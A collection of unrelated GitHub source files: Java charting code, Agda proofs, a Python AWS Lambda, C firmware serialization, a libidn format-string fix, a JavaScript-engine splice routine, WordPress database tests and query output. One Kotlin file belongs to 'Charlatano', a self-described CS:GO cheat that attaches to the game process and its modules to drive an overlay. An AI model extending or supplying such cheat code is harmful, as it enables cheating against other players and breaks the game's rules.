public Color getStrokeColor() { return strokeColor; }
/** Produces a BoxPlotSeriesAttributes object with the given generator, series name, series index,
and desire to display margin options. */
public BoxPlotSeriesAttributes(ChartGenerator generator, String name, int index, double[][] values, String[] labels, SeriesChangeListener stoppable)
{
super(generator, name, index, stoppable);
setValues(values);
setLabels(labels);
super.setSeriesName(name); // just set the name, don't update
}
/** Produces a BoxPlotSeriesAttributes object with the given generator, series name, series index,
and desire to display margin options. */
// used privately by BoxPlotGenerator. Maybe we should simplify this
BoxPlotSeriesAttributes(ChartGenerator generator, String name, int index, double[][] values, SeriesChangeListener stoppable)
{
super(generator, name, index, stoppable);
setValues(values);
super.setSeriesName(name); // just set the name, don't update
}
/** Produces a BoxPlotSeriesAttributes object with the given generator, series name, series index,
and desire to display margin options. */
public BoxPlotSeriesAttributes(ChartGenerator generator, String name, int index, double[] values, SeriesChangeListener stoppable)
{
super(generator, name, index, stoppable);
setValues(new double[][]{values});
super.setSeriesName(name); // just set the name, don't update
}
/** It's very expensive to call this function (O(n)) because JFreeChart has no way of changing the
name of a BoxPlot dataset series, and so we must rebuild all of it from scratch. */
public void setSeriesName(String val)
{
super.setSeriesName(val); // call this first to set it
((BoxPlotGenerator)generator).update();
}
public void rebuildGraphicsDefinitions()
{
BoxAndWhiskerRenderer renderer = (BoxAndWhiskerRenderer)getCategoryRenderer();
renderer.setSeriesOutlineStroke(getSeriesIndex(),
new BasicStroke(thickness));
renderer.setSeriesStroke(getSeriesIndex(),
new BasicStroke(thickness));
renderer.setSeriesPaint(getSeriesIndex(),reviseColor(fillColor, fillOpacity));
renderer.setSeriesOutlinePaint(getSeriesIndex(),reviseColor(strokeColor, lineOpacity));
repaint();
}
public void buildAttributes()
{
// The following three variables aren't defined until AFTER construction if
// you just define them above. So we define them below here instead.
thickness = 2.0f;
fillOpacity = 1.0;
lineOpacity = 1.0;
// NOTES:
// fillColor = (Color)(getCategoryRenderer().getSeriesPaint(getSeriesIndex()));
// this returns null, cause getSeriesPaint returns whatever was set through setSeriesPaint;
// for the default colors, you need "lookupSeriesPaint()".
// fillColor = (Color) (getCategoryRenderer().lookupSeriesPaint(getSeriesIndex()));
// getCategoryRenderer returns an object implementing the XYItemRenderer interface.
// either you cast that object to AbstractRenderer, and call lookupSeriesPaint()
// or you call getItemPaint() on it directly; all getItemPaint does is call lookupSeriesPaint(),
// but that looks bad, cause getItemPaint() seems to be meant for category data).
// On the other hand, lookupSeriesPaint() does not show up before 1.0.6, so
// in the interest of backward compatibility:
fillColor = (Color) (getCategoryRenderer().getItemPaint(getSeriesIndex(), -1));
// second argument does not matter
fillColor = (Color)(getCategoryRenderer().getSeriesPaint(getSeriesIndex()));
fillColorWell = new ColorWell(fillColor)
{
public Color changeColor(Color c)
{
fillColor = c;
rebuildGraphicsDefinitions();
return c;
}
};
addLabelled("Fill",fillColorWell);
fillOpacityField = new NumberTextField("Opacity ", fillOpacity,1.0,0.125)
{
public double newValue(double newValue)
{
if (newValue < 0.0 || newValue > 1.0)
newValue = currentValue;
fillOpacity = (float)newValue;
rebuildGraphicsDefinitions();
return newValue;
}
};
addLabelled("",fillOpacityField);
strokeColor = Color.black;
strokeColorWell = new ColorWell(strokeColor)
{
public Color changeColor(Color c)
{
strokeColor = c;
rebuildGraphicsDefinitions();
return c;
}
};
addLabelled("Line",strokeColorWell);
lineOpacityField = new NumberTextField("Opacity ", lineOpacity,1.0,0.125)
{
public double newValue(double newValue)
{
if (newValue < 0.0 || newValue > 1.0)
newValue = currentValue;
lineOpacity = (float)newValue;
rebuildGraphicsDefinitions();
return newValue;
}
};
addLabelled("",lineOpacityField);
thicknessField = new NumberTextField("Width ", thickness,false)
{
public double newValue(double newValue)
{
if (newValue < 0.0)
newValue = currentValue;
thickness = (float)newValue;
rebuildGraphicsDefinitions();
return newValue;
}
};
addLabelled("",thicknessField);
}
public CategoryItemRenderer getCategoryRenderer()
{
return ((CategoryPlot)(getPlot())).getRenderer();
}
public void setPlotVisible(boolean val)
{
plotVisible = val;
getCategoryRenderer().setSeriesVisible(seriesIndex, Boolean.valueOf(val));
}
}
| {
"pile_set_name": "Github"
} |
------------------------------------------------------------------------
-- Some derivable properties
------------------------------------------------------------------------
open import Algebra
module Algebra.Props.Ring (r : Ring) where
open Ring r
import Relation.Binary.EqReasoning as EqR; open EqR setoid
open import Data.Function
open import Data.Product
-‿*-distribˡ : ∀ x y → - x * y ≈ - (x * y)
-‿*-distribˡ x y = begin
- x * y ≈⟨ sym $ proj₂ +-identity _ ⟩
- x * y + 0# ≈⟨ refl ⟨ +-pres-≈ ⟩ sym (proj₂ -‿inverse _) ⟩
- x * y + (x * y + - (x * y)) ≈⟨ sym $ +-assoc _ _ _ ⟩
- x * y + x * y + - (x * y) ≈⟨ sym (proj₂ distrib _ _ _) ⟨ +-pres-≈ ⟩ refl ⟩
(- x + x) * y + - (x * y) ≈⟨ (proj₁ -‿inverse _ ⟨ *-pres-≈ ⟩ refl)
⟨ +-pres-≈ ⟩
refl ⟩
0# * y + - (x * y) ≈⟨ proj₁ zero _ ⟨ +-pres-≈ ⟩ refl ⟩
0# + - (x * y) ≈⟨ proj₁ +-identity _ ⟩
- (x * y) ∎
-‿*-distribʳ : ∀ x y → x * - y ≈ - (x * y)
-‿*-distribʳ x y = begin
x * - y ≈⟨ sym $ proj₁ +-identity _ ⟩
0# + x * - y ≈⟨ sym (proj₁ -‿inverse _) ⟨ +-pres-≈ ⟩ refl ⟩
- (x * y) + x * y + x * - y ≈⟨ +-assoc _ _ _ ⟩
- (x * y) + (x * y + x * - y) ≈⟨ refl ⟨ +-pres-≈ ⟩ sym (proj₁ distrib _ _ _) ⟩
- (x * y) + x * (y + - y) ≈⟨ refl ⟨ +-pres-≈ ⟩ (refl ⟨ *-pres-≈ ⟩ proj₂ -‿inverse _) ⟩
- (x * y) + x * 0# ≈⟨ refl ⟨ +-pres-≈ ⟩ proj₂ zero _ ⟩
- (x * y) + 0# ≈⟨ proj₂ +-identity _ ⟩
- (x * y) ∎
| {
"pile_set_name": "Github"
} |
/*
* Charlatano: Free and open-source (FOSS) cheat for CS:GO/CS:CO
* Copyright (C) 2017 - Thomas G. P. Nappo, Jonathan Beaudoin
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package com.charlatano.game
import com.charlatano.game.hooks.constructEntities
import com.charlatano.game.netvars.NetVars
import com.charlatano.overlay.CharlatanoOverlay
import com.charlatano.overlay.CharlatanoOverlay.camera
import com.charlatano.overlay.Overlay
import com.charlatano.settings.*
import com.charlatano.utils.every
import com.charlatano.utils.inBackground
import com.charlatano.utils.natives.CUser32
import com.charlatano.utils.retry
import com.sun.jna.Pointer
import com.sun.jna.platform.win32.User32
import com.sun.jna.platform.win32.WinDef
import org.jire.arrowhead.Module
import org.jire.arrowhead.Process
import org.jire.arrowhead.processByName
object CSGO {
const val ENTITY_SIZE = 16
const val GLOW_OBJECT_SIZE = 56
lateinit var csgoEXE: Process
private set
lateinit var clientDLL: Module
private set
lateinit var engineDLL: Module
private set
var gameHeight: Int = 0
private set
var gameX: Int = 0
private set
var gameWidth: Int = 0
private set
var gameY: Int = 0
private set
fun initialize() {
retry(128) {
csgoEXE = processByName(PROCESS_NAME, PROCESS_ACCESS_FLAGS)!!
}
retry(128) {
csgoEXE.loadModules()
clientDLL = csgoEXE.modules[CLIENT_MODULE_NAME]!!
engineDLL = csgoEXE.modules[ENGINE_MODULE_NAME]!!
}
val rect = WinDef.RECT()
val hwd = CUser32.FindWindowA(null, "Counter-Strike: "
+ (if (CLASSIC_OFFENSIVE) "Classic" else "Global") + " Offensive")
var lastWidth = 0
var lastHeight = 0
var lastX = 0
var lastY = 0
every(1000) {
if (!CUser32.GetClientRect(hwd, rect)) System.exit(2)
gameWidth = rect.right - rect.left
gameHeight = rect.bottom - rect.top
if (!CUser32.GetWindowRect(hwd, rect)) System.exit(3)
gameX = rect.left + (((rect.right - rect.left) - gameWidth) / 2)
gameY = rect.top + ((rect.bottom - rect.top) - gameHeight)
if (Overlay.opened && (lastX != gameX || lastY != gameY))
User32.INSTANCE.MoveWindow(Overlay.hwnd, gameX, gameY, gameWidth, gameHeight, false)
if (Overlay.opened && CharlatanoOverlay.created && (lastWidth != gameWidth || lastHeight != gameHeight))
camera.setToOrtho(true, gameWidth.toFloat(), gameHeight.toFloat())
lastWidth = gameWidth
lastHeight = gameHeight
lastX = gameX
lastY = gameY
}
every(1024, continuous = true) {
inBackground = Pointer.nativeValue(hwd.pointer) != CUser32.GetForegroundWindow()
}
NetVars.load()
constructEntities()
}
}
| {
"pile_set_name": "Github"
} |
import os
import logging
from library.logger import set_logging
from library.config import Config
from library.aws.utility import Sns
def lambda_handler(event, context):
""" Lambda handler to initiate to find RDS data encrypted or not """
set_logging(level=logging.INFO)
logging.debug("Initiating RDS encryption checking")
try:
sns_arn = os.environ["SNS_ARN"]
config = Config()
if not config.rdsEncrypt.enabled:
logging.debug("RDS encryption checking disabled")
return
logging.debug("Iterating each account to initiate RDS encryption checking")
for account_id, account_name in config.rdsEncrypt.accounts.items():
payload = {"account_id": account_id,
"account_name": account_name,
"regions": config.aws.regions,
"sns_arn": sns_arn
}
logging.debug(f"Initiating RDS encryption checking for '{account_name}'")
Sns.publish(sns_arn, payload)
except Exception:
logging.exception("Error occurred while initiation of RDS encryption checking")
return
logging.debug("RDS encryption checking initiation done")
| {
"pile_set_name": "Github"
} |
using System;
namespace LibB
{
public class ClassFromLibB
{
public string Id { get; set; } = "LibB";
}
}
| {
"pile_set_name": "Github"
} |
/* Copyright (c) 2014 Nordic Semiconductor. All Rights Reserved.
*
* The information contained herein is property of Nordic Semiconductor ASA.
* Terms and conditions of usage are described in detail in NORDIC
* SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT.
*
* Licensees are granted free, non-transferable use of the information. NO
* WARRANTY of ANY KIND is provided. This heading must NOT be removed from
* the file.
*
*/
#include "ble_gatts_evt_conn.h"
#include "ble_serialization.h"
#include "app_util.h"
uint32_t ble_gatts_evt_sc_confirm_enc(ble_evt_t const * const p_event,
uint32_t event_len,
uint8_t * const p_buf,
uint32_t * const p_buf_len)
{
SER_ASSERT_NOT_NULL(p_event);
SER_ASSERT_NOT_NULL(p_buf);
SER_ASSERT_NOT_NULL(p_buf_len);
SER_ASSERT_LENGTH_LEQ(SER_EVT_HEADER_SIZE + 2, *p_buf_len);
uint32_t index = 0;
index += uint16_encode(BLE_GATTS_EVT_SC_CONFIRM, &(p_buf[index]));
index += uint16_encode(p_event->evt.gatts_evt.conn_handle, &(p_buf[index]));
*p_buf_len = index;
return NRF_SUCCESS;
}
| {
"pile_set_name": "Github"
} |
--- a/src/idn.c
+++ b/src/idn.c
@@ -170,7 +170,7 @@ main (int argc, char *argv[])
(args_info.idna_to_unicode_given ? 1 : 0) +
(args_info.nfkc_given ? 1 : 0) != 1)
{
- error (0, 0, _("only one of -s, -e, -d, -a, -u or -n can be specified"));
+ error (0, 0, "%s", _("only one of -s, -e, -d, -a, -u or -n can be specified"));
usage (EXIT_FAILURE);
}
@@ -185,7 +185,7 @@ main (int argc, char *argv[])
if (!args_info.quiet_given
&& args_info.inputs_num == 0
&& isatty (fileno (stdin)))
- fprintf (stderr, _("Type each input string on a line by itself, "
+ fprintf (stderr, "%s", _("Type each input string on a line by itself, "
"terminated by a newline character.\n"));
do
@@ -197,7 +197,7 @@ main (int argc, char *argv[])
if (feof (stdin))
break;
- error (EXIT_FAILURE, errno, _("input error"));
+ error (EXIT_FAILURE, errno, "%s", _("input error"));
}
if (strlen (line) > 0)
@@ -215,7 +215,7 @@ main (int argc, char *argv[])
if (!q)
{
free (p);
- error (EXIT_FAILURE, 0,
+ error (EXIT_FAILURE, 0, "%s",
_("could not convert from UTF-8 to UCS-4"));
}
@@ -240,7 +240,7 @@ main (int argc, char *argv[])
if (!q)
{
free (r);
- error (EXIT_FAILURE, 0,
+ error (EXIT_FAILURE, 0, "%s",
_("could not convert from UTF-8 to UCS-4"));
}
@@ -277,7 +277,7 @@ main (int argc, char *argv[])
q = stringprep_utf8_to_ucs4 (p, -1, &len);
free (p);
if (!q)
- error (EXIT_FAILURE, 0,
+ error (EXIT_FAILURE, 0, "%s",
_("could not convert from UTF-8 to UCS-4"));
if (args_info.debug_given)
@@ -336,7 +336,7 @@ main (int argc, char *argv[])
r = stringprep_ucs4_to_utf8 (q, -1, NULL, NULL);
free (q);
if (!r)
- error (EXIT_FAILURE, 0,
+ error (EXIT_FAILURE, 0, "%s",
_("could not convert from UCS-4 to UTF-8"));
p = stringprep_utf8_to_locale (r);
@@ -360,7 +360,7 @@ main (int argc, char *argv[])
q = stringprep_utf8_to_ucs4 (p, -1, NULL);
free (p);
if (!q)
- error (EXIT_FAILURE, 0,
+ error (EXIT_FAILURE, 0, "%s",
_("could not convert from UCS-4 to UTF-8"));
if (args_info.debug_given)
@@ -438,7 +438,7 @@ main (int argc, char *argv[])
if (!q)
{
free (p);
- error (EXIT_FAILURE, 0,
+ error (EXIT_FAILURE, 0, "%s",
_("could not convert from UCS-4 to UTF-8"));
}
@@ -494,7 +494,7 @@ main (int argc, char *argv[])
r = stringprep_ucs4_to_utf8 (q, -1, NULL, NULL);
free (q);
if (!r)
- error (EXIT_FAILURE, 0,
+ error (EXIT_FAILURE, 0, "%s",
_("could not convert from UTF-8 to UCS-4"));
p = stringprep_utf8_to_locale (r);
@@ -523,7 +523,7 @@ main (int argc, char *argv[])
if (!q)
{
free (p);
- error (EXIT_FAILURE, 0,
+ error (EXIT_FAILURE, 0, "%s",
_("could not convert from UTF-8 to UCS-4"));
}
@@ -537,7 +537,7 @@ main (int argc, char *argv[])
r = stringprep_utf8_nfkc_normalize (p, -1);
free (p);
if (!r)
- error (EXIT_FAILURE, 0, _("could not do NFKC normalization"));
+ error (EXIT_FAILURE, 0, "%s", _("could not do NFKC normalization"));
if (args_info.debug_given)
{
@@ -547,7 +547,7 @@ main (int argc, char *argv[])
if (!q)
{
free (r);
- error (EXIT_FAILURE, 0,
+ error (EXIT_FAILURE, 0, "%s",
_("could not convert from UTF-8 to UCS-4"));
}
| {
"pile_set_name": "Github"
} |
package org.dynjs.runtime.builtins.types.array.prototype;
import org.dynjs.runtime.AbstractNonConstructorFunction;
import org.dynjs.runtime.ExecutionContext;
import org.dynjs.runtime.GlobalContext;
import org.dynjs.runtime.JSObject;
import org.dynjs.runtime.PropertyDescriptor;
import org.dynjs.runtime.Types;
import org.dynjs.runtime.builtins.types.BuiltinArray;
public class Splice extends AbstractNonConstructorFunction {
public Splice(GlobalContext globalContext) {
super(globalContext, "start", "deleteCount");
}
@Override
public Object call(ExecutionContext context, Object self, Object... args) {
// 15.4.4.12
JSObject o = Types.toObject(context, self);
long len = Types.toUint32(context, o.get(context, "length"));
long relativeStart = Types.toInteger(context, args[0]);
long actualStart = 0;
if (relativeStart < 0) {
actualStart = Math.max( len + relativeStart, 0 );
} else {
actualStart = Math.min( relativeStart, len );
}
long deleteCount = Types.toInteger(context, args[1]);
long actualDeleteCount = Math.min(Math.max(deleteCount, 0), len - actualStart);
JSObject a = BuiltinArray.newArray(context);
for (long k = 0; k < actualDeleteCount; ++k) {
if (o.hasProperty(context, "" + (actualStart + k))) {
final Object fromValue = o.get(context, "" + (actualStart + k));
a.defineOwnProperty(context, "" + k,
PropertyDescriptor.newDataPropertyDescriptor(fromValue, true, true, true), false);
}
}
long itemCount = args.length - 2;
if (itemCount < actualDeleteCount) {
for (long k = actualStart; k < (len - actualDeleteCount); ++k) {
if (o.hasProperty(context, "" + (k + actualDeleteCount))) {
final Object fromValue = o.get(context, "" + (k + actualDeleteCount));
o.put(context, "" + (k + itemCount), fromValue, true);
} else {
o.delete(context, "" + (k + itemCount), true);
}
}
for (long k = len; k > (len - actualDeleteCount + itemCount); --k) {
o.delete(context, "" + (k - 1), true);
}
} else if (itemCount > actualDeleteCount) {
for (long k = (len - actualDeleteCount); k > actualStart; --k) {
if (o.hasProperty(context, "" + (k + actualDeleteCount - 1))) {
final Object fromValue = o.get(context, "" + (k + actualDeleteCount - 1));
o.put(context, "" + (k + itemCount - 1), fromValue, true);
} else {
o.delete(context, "" + (k + itemCount - 1), true);
}
}
}
for (long k = actualStart, i = 0; i < itemCount; ++k, ++i) {
o.put(context, "" + k, args[ (int) i + 2], true);
}
o.put(context, "length", (len-actualDeleteCount + itemCount), true);
return a;
}
@Override
public void setFileName() {
this.filename = "org/dynjs/runtime/builtins/types/array/prototype/Splice.java";
}
@Override
public void setupDebugContext() {
this.debugContext = "<native function: splice>";
}
}
| {
"pile_set_name": "Github"
} |
<?php
use tad\WPBrowser\Generators\Date;
use function tad\WPBrowser\slug;
class WPDbPostCest
{
/**
* @var int
*/
protected $now;
public function _before(FunctionalTester $I)
{
$this->now = time();
Date::_injectNow($this->now);
}
public function _after(FunctionalTester $I)
{
}
/**
* @test
* it should return the post ID when inserting a post
*/
public function it_should_return_the_post_id_when_inserting_a_post(FunctionalTester $I)
{
$post_id = $I->havePostInDatabase();
$I->assertGreaterThan(0, $post_id, "Post ID is not an int > 0; value is $post_id.");
}
/**
* @test
* it should return different ids when inserting more posts
*/
public function it_should_return_different_ids_when_inserting_more_posts(FunctionalTester $I)
{
$ids = array_map(function () use ($I) {
return $I->havePostInDatabase();
}, range(0, 4));
$I->assertEquals(5, count(array_unique($ids)));
}
/**
* @test
* it should allow inserting a plain post in the database
*/
public function it_should_allow_inserting_a_plain_post_in_the_database(FunctionalTester $I)
{
$post_id = $I->havePostInDatabase();
$table = $I->grabPostsTableName();
$title = "Post {$post_id} title";
$guid = $I->grabSiteUrl() . '/?p=' . $post_id;
$now = Date::now();
$gmtNow = Date::gmtNow();
$defaultValues = [
'post_author' => 1,
'post_date' => $now,
'post_date_gmt' => $gmtNow,
'post_content' => "Post {$post_id} content",
'post_title' => $title,
'post_excerpt' => "Post {$post_id} excerpt",
'post_status' => 'publish',
'comment_status' => 'open',
'ping_status' => 'open',
'post_password' => '',
'post_name' => slug($title),
'to_ping' => '',
'pinged' => '',
'post_modified' => $now,
'post_modified_gmt' => $gmtNow,
'post_content_filtered' => '',
'post_parent' => 0,
'guid' => $guid,
'menu_order' => 0,
'post_type' => 'post'
];
foreach ($defaultValues as $key => $value) {
$I->seeInDatabase($table, ['ID' => $post_id, $key => $value]);
}
}
/**
* @test
* it should allow overriding default values
*/
public function it_should_allow_overriding_default_values(FunctionalTester $I)
{
$table = $I->grabPostsTableName();
Date::_injectNow(time() - 300);
$now = Date::now();
$gmtNow = Date::gmtNow();
$overrides = [
'post_author' => 2,
'post_date' => $now,
'post_date_gmt' => $gmtNow,
'post_content' => "Post content",
'post_title' => 'Post title',
'post_excerpt' => "Postexcerpt",
'post_status' => 'draft',
'comment_status' => 'closed',
'ping_status' => 'closed',
'post_password' => 'foo',
'post_name' => slug('Post title'),
'to_ping' => 1,
'pinged' => 1,
'post_modified' => $now,
'post_modified_gmt' => $gmtNow,
'post_content_filtered' => 'Foo bar',
'post_parent' => 23,
'guid' => 'http://example.com/?p=122',
'menu_order' => 3,
'post_type' => 'antother_type'
];
$post_id = $I->havePostInDatabase($overrides);
foreach ($overrides as $key => $value) {
$I->seeInDatabase($table, ['ID' => $post_id, $key => $value]);
}
}
/**
* @test
* it should allow inserting many posts and return an array of ids
*/
public function it_should_allow_inserting_many_posts_and_return_an_array_of_ids(FunctionalTester $I)
{
$ids = $I->haveManyPostsInDatabase(5);
$I->assertEquals(5, count(array_unique($ids)));
array_map(function ($id) use ($I) {
$I->assertTrue(is_int($id));
}, $ids);
}
/**
* @test
* it should allow overriding defaults when inserting many
*/
public function it_should_allow_overriding_defaults_when_inserting_many(FunctionalTester $I)
{
$table = $I->grabPostsTableName();
Date::_injectNow(time() - 300);
$now = Date::now();
$gmtNow = Date::gmtNow();
$overrides = [
'post_author' => 2,
'post_date' => $now,
'post_date_gmt' => $gmtNow,
'post_content' => "Post content",
'post_title' => 'Post title',
'post_excerpt' => "Postexcerpt",
'post_status' => 'draft',
'comment_status' => 'closed',
'ping_status' => 'closed',
'post_password' => 'foo',
'post_name' => slug('Post title'),
'to_ping' => 1,
'pinged' => 1,
'post_modified' => $now,
'post_modified_gmt' => $gmtNow,
'post_content_filtered' => 'Foo bar',
'post_parent' => 23,
'guid' => 'http://example.com/?p=122',
'menu_order' => 3,
'post_type' => 'antother_type'
];
$post_ids = $I->haveManyPostsInDatabase(3, $overrides);
foreach ($overrides as $key => $value) {
foreach ($post_ids as $post_id) {
$I->seeInDatabase($table, ['ID' => $post_id, $key => $value]);
}
}
}
/**
* @test
* it should allow overriding with n key when having many posts
*/
public function it_should_allow_overriding_with_n_key_when_having_many_posts(FunctionalTester $I)
{
$table = $I->grabPostsTableName();
Date::_injectNow(time() - 300);
$now = Date::now();
$gmtNow = Date::gmtNow();
$overrides = [
'post_author' => '{{n}}',
'post_date' => $now,
'post_date_gmt' => $gmtNow,
'post_content' => "Post content {{n}}",
'post_title' => 'Post title {{n}}',
'post_excerpt' => "Post excerpt {{n}}",
'post_status' => 'draft',
'comment_status' => 'closed',
'ping_status' => 'closed',
'post_password' => '{{n}}foo{{n}}',
'post_name' => 'post-title-{{n}}',
'to_ping' => 1,
'pinged' => 1,
'post_modified' => $now,
'post_modified_gmt' => $gmtNow,
'post_content_filtered' => 'Foo bar {{n}}{{n}}',
'post_parent' => 23,
'guid' => 'http://example.com/?p={{n}}&var={{n}}',
'menu_order' => '{{n}}',
'post_type' => 'antother_type'
];
$post_ids = $I->haveManyPostsInDatabase(3, $overrides);
foreach ($overrides as $key => $value) {
for ($i = 0; $i < count($post_ids); $i++) {
$post_id = $post_ids[$i];
$processedValue = str_replace('{{n}}', $i, $value);
$I->seeInDatabase($table, ['ID' => $post_id, $key => $processedValue]);
}
}
}
/**
* @test
* it should allow inserting post meta when inserting a post
*/
public function it_should_allow_inserting_post_meta_when_inserting_a_post(FunctionalTester $I)
{
$meta = ['one' => 'meta one', 'two' => 'meta two'];
$id = $I->havePostInDatabase(['meta' => $meta]);
$I->seeInDatabase($I->grabPostsTableName(), ['ID' => $id]);
foreach ($meta as $meta_key => $meta_value) {
$I->seeInDatabase($I->grabPostmetaTableName(), [
'post_id' => $id,
'meta_key' => $meta_key,
'meta_value' => $meta_value
]);
}
}
/**
* @test
* it should allow having meta in many posts
*/
public function it_should_allow_having_meta_in_many_posts(FunctionalTester $I)
{
$meta = ['one' => 'meta one', 'two' => 'meta two'];
$ids = $I->haveManyPostsInDatabase(3, ['meta' => $meta]);
for ($i = 0; $i < 3; $i++) {
$id = $ids[$i];
$I->seeInDatabase($I->grabPostsTableName(), ['ID' => $id]);
foreach ($meta as $meta_key => $meta_value) {
$I->seeInDatabase($I->grabPostmetaTableName(), [
'post_id' => $id,
'meta_key' => $meta_key,
'meta_value' => $meta_value
]);
}
}
}
/**
* @test
* it should allow having numbered meta for many posts
*/
public function it_should_allow_having_numbered_meta_for_many_posts(FunctionalTester $I)
{
$meta = ['one_{{n}}' => 'meta {{n}}', 'two_{{n}}' => '{{n}} meta {{n}}'];
$ids = $I->haveManyPostsInDatabase(3, ['meta' => $meta]);
for ($i = 0; $i < 3; $i++) {
$id = $ids[$i];
$I->seeInDatabase($I->grabPostsTableName(), ['ID' => $id]);
foreach ($meta as $meta_key => $meta_value) {
$I->seeInDatabase($I->grabPostmetaTableName(), [
'post_id' => $id,
'meta_key' => str_replace('{{n}}', $i, $meta_key),
'meta_value' => str_replace('{{n}}', $i, $meta_value)
]);
}
}
}
/**
* @test
* it should serialize meta value when adding array post meta
*/
public function it_should_serialize_meta_value_when_adding_array_post_meta(FunctionalTester $I)
{
$id = $I->havePostInDatabase();
$meta = ['one', 'two', 'three'];
$I->havePostmetaInDatabase($id, 'foo', $meta);
$I->seeInDatabase($I->grabPostmetaTableName(), [
'post_id' => $id,
'meta_key' => 'foo',
'meta_value' => serialize($meta)
]);
}
/**
* @test
* it should allow inserting post meta when inserting a post using meta input
*/
public function it_should_allow_inserting_post_meta_when_inserting_a_post_using_meta_input(FunctionalTester $I)
{
$meta = ['one' => 'meta one', 'two' => 'meta two'];
$id = $I->havePostInDatabase(['meta_input' => $meta]);
$I->seeInDatabase($I->grabPostsTableName(), ['ID' => $id]);
foreach ($meta as $meta_key => $meta_value) {
$I->seeInDatabase($I->grabPostmetaTableName(), [
'post_id' => $id,
'meta_key' => $meta_key,
'meta_value' => $meta_value
]);
}
}
/**
* @test
* it should allow having meta in many posts using meta input
*/
public function it_should_allow_having_meta_in_many_posts_using_meta_input(FunctionalTester $I)
{
$meta = ['one' => 'meta one', 'two' => 'meta two'];
$ids = $I->haveManyPostsInDatabase(3, ['meta_input' => $meta]);
for ($i = 0; $i < 3; $i++) {
$id = $ids[$i];
$I->seeInDatabase($I->grabPostsTableName(), ['ID' => $id]);
foreach ($meta as $meta_key => $meta_value) {
$I->seeInDatabase($I->grabPostmetaTableName(), [
'post_id' => $id,
'meta_key' => $meta_key,
'meta_value' => $meta_value
]);
}
}
}
/**
* @test
* it should allow having numbered meta for many posts using meta_input
*/
public function it_should_allow_having_numbered_meta_for_many_posts_using_meta_input(FunctionalTester $I)
{
$meta = ['one_{{n}}' => 'meta {{n}}', 'two_{{n}}' => '{{n}} meta {{n}}'];
$ids = $I->haveManyPostsInDatabase(3, ['meta_input' => $meta]);
for ($i = 0; $i < 3; $i++) {
$id = $ids[$i];
$I->seeInDatabase($I->grabPostsTableName(), ['ID' => $id]);
foreach ($meta as $meta_key => $meta_value) {
$I->seeInDatabase($I->grabPostmetaTableName(), [
'post_id' => $id,
'meta_key' => str_replace('{{n}}', $i, $meta_key),
'meta_value' => str_replace('{{n}}', $i, $meta_value)
]);
}
}
}
/**
* It should allow getting a post meta from the database
*
* @test
*/
public function should_allow_getting_a_post_meta_from_the_database(FunctionalTester $I)
{
$id = $I->havePostInDatabase([
'meta_input' => [
'key_one' => 'single_value',
'key_two' => ['multi_value_1', 'multi_value_2', 'multi_value_3'],
],
]);
$I->assertEquals('single_value', $I->grabPostMetaFromDatabase($id, 'key_one', true));
$I->assertEquals(['single_value'], $I->grabPostMetaFromDatabase($id, 'key_one', false));
$I->assertEquals('multi_value_1', $I->grabPostMetaFromDatabase($id, 'key_two', true));
$I->assertEquals(['multi_value_1', 'multi_value_2', 'multi_value_3'], $I->grabPostMetaFromDatabase($id, 'key_two', false));
}
}
| {
"pile_set_name": "Github"
} |
0 0
2 2
4 4
5 15
8 8
9 9
10 10
11 11
12 24
15 30
17 17
18 36
19 19
20 20
24 48
26 52
27 27
28 28
30 30
33 33
34 34
35 105
37 74
41 41
42 84
43 43
44 44
47 47
51 102
53 53
54 54
57 57
58 116
64 64
65 65
66 66
67 134
69 69
70 210
72 144
74 74
76 152
77 77
78 78
80 80
82 82
83 166
84 168
85 85
86 86
87 87
90 270
92 92
95 190
96 96
97 194
98 196
100 200
103 206
104 208
105 105
111 111
113 226
114 114
116 116
118 236
119 357
120 240
125 250
126 126
128 384
129 258
131 131
133 133
134 268
136 136
137 274
138 552
143 143
145 145
146 292
149 298
150 150
152 304
153 153
155 155
156 156
157 157
158 158
160 160
162 162
163 163
164 328
165 330
166 166
167 501
168 168
169 676
170 170
172 344
174 348
175 350
176 352
177 177
178 178
179 358
180 180
181 181
183 183
186 186
187 561
189 189
190 190
191 382
192 192
193 579
194 194
195 390
196 196
197 394
199 597
200 400
201 201
202 202
203 406
205 410
207 414
208 624
209 418
213 426
214 214
216 432
217 434
218 218
219 438
221 442
222 222
223 446
224 448
226 226
228 228
229 458
230 1150
233 466
235 235
237 474
238 476
239 478
241 241
242 484
244 244
247 247
248 248
249 249
252 252
255 510
256 512
257 257
258 258
260 260
262 262
263 263
265 530
266 266
272 544
273 819
274 274
275 275
277 1108
278 556
280 560
281 562
282 564
283 283
284 284
285 285
286 286
287 287
288 576
289 289
291 291
292 292
296 296
298 894
302 302
305 305
306 306
307 614
308 308
309 618
310 310
311 933
315 315
316 948
317 634
318 954
321 642
322 644
323 323
325 650
327 981
331 662
332 332
333 666
335 335
336 336
338 338
339 339
341 341
342 684
344 688
345 345
348 1740
351 351
353 706
356 356
360 360
362 362
364 364
365 365
366 366
367 734
368 368
369 1107
373 373
374 374
375 375
377 377
378 378
379 379
382 764
384 1152
386 386
389 389
392 392
393 393
394 394
395 790
396 1188
397 794
399 798
400 400
401 2005
402 402
403 1209
404 808
406 1624
407 407
409 1227
411 411
413 826
414 828
417 1251
418 418
419 419
421 421
424 848
427 427
429 858
430 1290
431 1293
432 432
435 435
436 436
437 437
438 1314
439 878
443 443
444 444
446 446
448 448
449 449
452 452
453 453
454 1362
455 455
457 457
458 916
459 918
460 460
462 924
463 926
466 1398
467 467
468 1872
469 2345
470 470
472 472
475 475
477 477
478 956
479 479
480 1440
481 481
482 482
483 483
484 484
485 485
487 487
489 1956
490 490
491 491
492 984
493 493
494 494
495 495
496 496
497 497
498 1494
| {
"pile_set_name": "Github"
} |
Add support for several Qt flavors
Qt has two flavors: X11 and embedded (QWS). QWS has some limitations
compared to X11. This patch adds an option to select which version to
use.
Signed-off-by: Gwenhael Goavec-Merou <[email protected]>
---
Index: PyQt-x11-gpl-4.11.3/configure-ng.py
===================================================================
--- PyQt-x11-gpl-4.11.3.orig/configure-ng.py
+++ PyQt-x11-gpl-4.11.3/configure-ng.py
